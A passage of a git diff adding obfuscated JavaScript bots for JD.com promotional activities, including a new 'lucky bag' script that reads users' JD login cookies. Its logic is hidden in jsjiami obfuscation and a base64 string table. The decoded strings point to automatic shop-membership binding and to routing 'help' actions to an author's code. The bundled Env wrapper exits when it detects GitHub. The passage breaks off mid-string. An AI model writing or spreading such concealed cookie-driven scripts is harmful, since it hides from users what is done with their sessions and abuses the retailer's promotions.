_0x35d929!==_0x4ce5f2;},'tARdq':_0x4b5d('‮175'),'kTkDa':function(_0x597fac,_0x9fc6dd){return _0x597fac===_0x9fc6dd;},'GHKBW':_0x4b5d('‫109'),'GzNST':_0x4b5d('‫176'),'GgOsj':function(_0x4f57a8,_0x4ad1e5){return _0x4f57a8===_0x4ad1e5;},'reFLd':_0x4b5d('‫10a'),'GERLp':_0x4b5d('‮5b'),'ZDgaN':_0x4b5d('‮177'),'OIZej':function(_0xb7ef08){return _0xb7ef08();},'JZUfX':_0x4b5d('‮178'),'PVoXE':_0x4b5d('‫179'),'xxJea':_0x4b5d('‫14e'),'JlRnX':_0x4b5d('‮c4'),'lHKjr':_0x4b5d('‫17a'),'AFicJ':_0x4b5d('‫c0'),'jXCkM':_0x4b5d('‮17b'),'nZLSK':_0x4b5d('‫c1')};const _0x644111={'url':_0x23a512[_0x4b5d('‮17c')],'headers':{'Host':_0x23a512[_0x4b5d('‫17d')],'Accept':_0x23a512[_0x4b5d('‫17e')],'Connection':_0x23a512[_0x4b5d('‫17f')],'Cookie':cookie,'User-Agent':_0x23a512[_0x4b5d('‮180')],'Accept-Language':_0x23a512[_0x4b5d('‮181')],'Referer':_0x23a512[_0x4b5d('‫182')],'Accept-Encoding':_0x23a512[_0x4b5d('‫183')]}};return new Promise(_0x5adc1d=>{$[_0x4b5d('‫11e')](_0x644111,(_0x94af08,_0x49cf0a,_0x3aa8cc)=>{var _0x208365={'wtDVN':function(_0x1ae863,_0x209190){return _0x23a512[_0x4b5d('‮184')](_0x1ae863,_0x209190);},'JkMhn':function(_0x39b246,_0x270f24){return _0x23a512[_0x4b5d('‫185')](_0x39b246,_0x270f24);},'WpOKX':function(_0x4b77fb,_0x4b842e){return _0x23a512[_0x4b5d('‮186')](_0x4b77fb,_0x4b842e);},'gIWiI':function(_0x4b12d2,_0x3e0b3f){return _0x23a512[_0x4b5d('‫187')](_0x4b12d2,_0x3e0b3f);}};try{if(_0x94af08){$[_0x4b5d('‮188')](_0x94af08);}else{if(_0x23a512[_0x4b5d('‮189')](_0x23a512[_0x4b5d('‫18a')],_0x23a512[_0x4b5d('‫18a')])){message+=_0x4b5d('‫4a')+$[_0x4b5d('‫23')]+'】'+($[_0x4b5d('‫26')]||$[_0x4b5d('‫20')])+_0x4b5d('‮4b')+$[_0x4b5d('‮3c')]+_0x4b5d('‮4c');}else{if(_0x3aa8cc){_0x3aa8cc=JSON[_0x4b5d('‫a3')](_0x3aa8cc);if(_0x23a512[_0x4b5d('‮18b')](_0x3aa8cc[_0x4b5d('‮145')],_0x23a512[_0x4b5d('‮18c')])){if(_0x23a512[_0x4b5d('‮18b')](_0x23a512[_0x4b5d('‫18d')],_0x23a512[_0x4b5d('‫18d')])){$[_0x4b5d('‫25')]=![];return;}else{var _0x3a3fc1=_0x208365[_0x4b5d('‮18e')](_0x208365[_0x4b5d('‮18f')](Math[_0x4b5d('‫33')](),0x10),0x0),_0xabc993=_0x208365[_0x4b5d('‫190')](c,'x')?_0x3a3fc1:_0x208365[_0x4b5d('‮18e')](_0x208365[_0x4b5d('‮191')](_0x3a3fc1,0x3),0x8);if(UpperCase){uuid=_0xabc993[_0x4b5d('‫55')](0x24)[_0x4b5d('‮56')]();}else{uuid=_0xabc993[_0x4b5d('‫55')](0x24);}return uuid;}}if(_0x23a512[_0x4b5d('‮192')](_0x3aa8cc[_0x4b5d('‮145')],'0')&&_0x3aa8cc[_0x4b5d('‫ad')][_0x4b5d('‮148')](_0x23a512[_0x4b5d('‫193')])){$[_0x4b5d('‫26')]=_0x3aa8cc[_0x4b5d('‫ad')][_0x4b5d('‫10a')][_0x4b5d('‫14a')][_0x4b5d('‮100')];}}else{$[_0x4b5d('‮17')](_0x23a512[_0x4b5d('‫194')]);}}}}catch(_0x1eb4b0){$[_0x4b5d('‮188')](_0x1eb4b0);}finally{if(_0x23a512[_0x4b5d('‮192')](_0x23a512[_0x4b5d('‮195')],_0x23a512[_0x4b5d('‮195')])){_0x23a512[_0x4b5d('‫196')](_0x5adc1d);}else{console[_0x4b5d('‮17')](error);}}});});};_0xodX='jsjiami.com.v6'; +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wxUnPackingActivity.js b/jd_wxUnPackingActivity.js new file mode 100755 index 0000000..b6b7633 --- /dev/null +++ b/jd_wxUnPackingActivity.js @@ -0,0 +1,31 @@ +/* +福袋 +https://lzkjdz-isv.isvjcloud.com/wxUnPackingActivity/activity/13145?activityId= +7 7 7 7 7 jd_wxUnPackingActivity.js +变量 wxUnPackingActivity +*/ +const $ = new Env("福袋"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let unPackingScc = 0; +let wxUnPackingActivity = process.env.wxUnPackingActivity ?? ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +var _0xod2='jsjiami.com.v6',_0xod2_=['‮_0xod2'],_0x34d5=[_0xod2,'aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','WW92cUI=','bHBOcVg=','eHdiQnM=','V2psbEw=','RlNTemo=','RFVmWm0=','T1Rwa0I=','WGNjVGo=','WW5kbnQ=','eG9JRWc=','c3hmbnc=','ZllqeGc=','aHFGQ1U=','Rm5OWlo=','WmlDT2Q=','b3phTEk=','dXdvZGQ=','eWpLbHM=','RnRua1M=','ZWJBTG8=','aUhKak8=','QnZkZVI=','Y1RnbUE=','UG9KVkI=','TFFuSGI=','Vnl0Z2Q=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWJpbmRXaXRoVmVuZGVyJmJvZHk9','bWhOWnk=','aWx6QUY=','emxMUmE=','cmZKakw=','TGZGdGo=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','aHhSVHM=','S3FEY0w=','dWRCR3o=','aFBxVEU=','YkJqVXE=','QVNzT2g=','WXZRZ3A=','cHJISG0=','cm1GTVY=','U29GZFM=','d2dRekg=','Y3RtVUo=','Y2RZYnk=','WWhHVkQ=','UXVZVUo=','dWhsUWk=','TXJEZUY=','dmdXVUo=','dG5zS1Q=','TFR5THE=','R3haZ2I=','cXlBbHY=','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','dG9Eb00=','RGVnWVY=','cHZPb3g=','QlBTYUs=','QVFRbUI=','cGVHU0Y=','TWlzVVg=','Ym9keT0lN0IlMjJ1cmwlMjIlM0ElMjAlMjJodHRwcyUzQS8vbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjAlMjJpZCUyMiUzQSUyMCUyMiUyMiU3RCZ1dWlkPTcyMTI0MjY1MjE3ZDQ4Yjc5NTU3ODEwMjRkNjViYmM0JmNsaWVudD1hcHBsZSZjbGllbnRWZXJzaW9uPTkuNC4wJnN0PTE2MjE3OTY3MDIwMDAmc3Y9MTIwJnNpZ249MTRmN2ZhYTMxMzU2Yzc0ZTlmNDI4OTk3MmRiNGI5ODg=','bFR3UVM=','T1Zxc2o=','VUxOSk0=','ZVNyTFo=','c0JUQm4=','Vkh2V20=','RnRMSlQ=','ZVBYeEg=','V1pybmI=','Q2xPWEU=','VHpYeWs=','alduUGc=','WGF1V1E=','UkxFa2k=','SlNYeGs=','QU5XTGE=','UnFOS0M=','eUdDZms=','d1BTVEE=','R3lmb3M=','ZWViY2Q=','WEZBS0E=','YUNZVlY=','eUdRcWE=','Tmd5eE8=','WGp6cG0=','cmVwbGFjZQ==','VVZaVkY=','RG5XaE8=','cmFuZG9t','a3hNaWg=','clZYbHg=','ZmloeE0=','dG9VcHBlckNhc2U=','T3BJd2c=','WEluUmU=','ZU5XamM=','THppY1E=','Zmxvb3I=','TnVzQ1c=','dWdBb2c=','ZVNGemI=','ZUx0dlk=','V1VFT0c=','amt4Y2M=','TEtkTUk=','QUF1RUY=','ZFNOc3U=','bHZrbWc=','Tnd3dGg=','SFdrT2Q=','Y2ZuTEc=','UkdNSEU=','V21BSVM=','bVRka2c=','eGJielY=','TldvVmo=','YmhNZ3E=','Z05JVkc=','SW9jSGQ=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','d0ZEbEw=','SnpYQ1I=','dklyeXE=','TnpSYk4=','d0hXUlk=','SGN1dG0=','ckRpVkE=','R2ZzY00=','SkhtdFU=','cGp0RkQ=','Zll5bHc=','TXNiQ3U=','VUpFUmI=','SEVpcUo=','SXRhSHQ=','cFlPRGs=','S2RXQ3o=','UmNFR1o=','QVlpaWI=','Qmh2WXI=','b3ZQaGk=','ak5ncmI=','Q2Nkd2U=','WGFhZXA=','SU1mTVA=','emtEbEE=','TldabHA=','SE1kVkc=','ZEVhTnQ=','cFR2Q2s=','ZlpFU3k=','ZWlZS1Q=','bnh1Zkw=','andCTXY=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','Ymd1T1E=','5bey57uP5Yqp5Yqb5Lq65pWwIA==','V014Ymw=','UEdiQWQ=','cGFyc2U=','c3VjY2Vzcw==','cmVzdWx0','aW50ZXJlc3RzUnVsZUxpc3Q=','b3BlbkNhcmRBY3Rpdml0eUlk','aW50ZXJlc3RzSW5mbw==','YWN0aXZpdHlJZA==','bXNn','bmFtZQ==','UkZpYUU=','eUVYem8=','WmdEYkI=','bGVuZ3Ro','VXNlck5hbWU=','TVZVeXI=','bWF0Y2g=','aW5kZXg=','bkRyRUI=','aXNMb2dpbg==','bmlja05hbWU=','bXdqTUg=','bG9n','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','YmVhbg==','QURJRA==','c0JVclA=','ZkxNVVY=','VVVJRA==','V3dJakg=','YXV0aG9yTnVt','RUloVFU=','YXV0aG9yQ29kZQ==','Z0ZWdUE=','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vd3hVblBhY2tpbmdBY3Rpdml0eS9hY3Rpdml0eS8=','Lz9hY3Rpdml0eUlkPQ==','JmZyaWVuZFV1aWQ9','JnNoYXJldXNlcmlkNG1pbmlwZz0=','c2VjcmV0UGlu','JnNob3BpZD0=','YWN0aXZpdHlTaG9wSWQ=','ZURCSEo=','c3R5RVI=','emZqaUE=','cEpPWm4=','LCDlpLHotKUhIOWOn+WboDog','Y2F0Y2g=','ZmluYWxseQ==','ZG9uZQ==','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','Y3VzdG9tZXIvZ2V0U2ltcGxlQWN0SW5mb1Zv','V0d3SXE=','YWlrWW0=','Mnw1fDl8M3w2fDEwfDd8MTF8NHwwfDF8OA==','dW5wYWNraW5nSW5mbw==','dW5QYWNraW5n','5Y675Yqp5YqbOiA=','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','NDAx','Z2V0TXlGcmllbmRJbmZv','YWN0aXZpdHlDb250ZW50','QWlSQXI=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','YUlEenM=','UllqZlM=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','dG9rZW4=','dmhxdG8=','TFh6UG8=','b0xVYlQ=','YWN0aXZpdHlJZD0=','cHVmYmo=','c3BmR24=','QU1CWXI=','c09KU2o=','c3BsaXQ=','blFqSlA=','VFNHU3M=','SUZNUWY=','Jm15U2VsZlV1aWQ9','bXlTZWxmSWQ=','QnFIa0s=','T29QRXc=','V0ZpbFk=','V0VhQWw=','b3lkUm4=','dmVuZGVySWQ9','dmVuZGVySWQ=','JmNvZGU9','YWN0aXZpdHlUeXBl','JnBpbj0=','TFhVWHE=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPW51bGw=','WEpTcFI=','SUlQclY=','SFBRV1I=','Jm15U2VsZklkPQ==','aXZBd2k=','JmJ1eWVyTmljaz0=','TW9wZGM=','RWlxY04=','QURoZlM=','ZnJpZW5kVXVpZD0=','b0dxaWk=','dFdZb2c=','ZkVnTWg=','Y29kZQ==','ZGFzbm0=','T0dRYXc=','ZWpYZFY=','VFVpWms=','eGtkcm4=','UU5nQ2k=','YlpCZXQ=','eG1KaWc=','ZnJpZW5kVXVpZA==','Y29tbW9uVG9vbHMvbWVtYmVyV3JpdGVQZXJzb24=','Y29sbGVjdGlvbg==','5ouG5YyF5oiQ5Yqf','TEpBeE0=','RXR1c2I=','TmlLVkI=','cG9zdA==','bGFwakU=','VHhxc0k=','VmlialM=','R0ltc3g=','ZHhSYXI=','ZmZpWVc=','dHhBTWg=','amRBY3Rpdml0eUlk','ZGF0YQ==','c2hvcElk','RkVSWU4=','d3Vjdm8=','dG1OaXU=','ZHVmZmE=','SGNYaXk=','TU9rWEI=','dmhwVVg=','ZXJyb3JNZXNzYWdl','TURJV1g=','TEpFWW8=','Zk5PaXk=','eE93R2Q=','c3RyaW5naWZ5','V3l0aUo=','bHpramR6LWlzdi5pc3ZqY2xvdWQuY29t','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb21t','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semtqZHotaXN2Lmlzdmpjb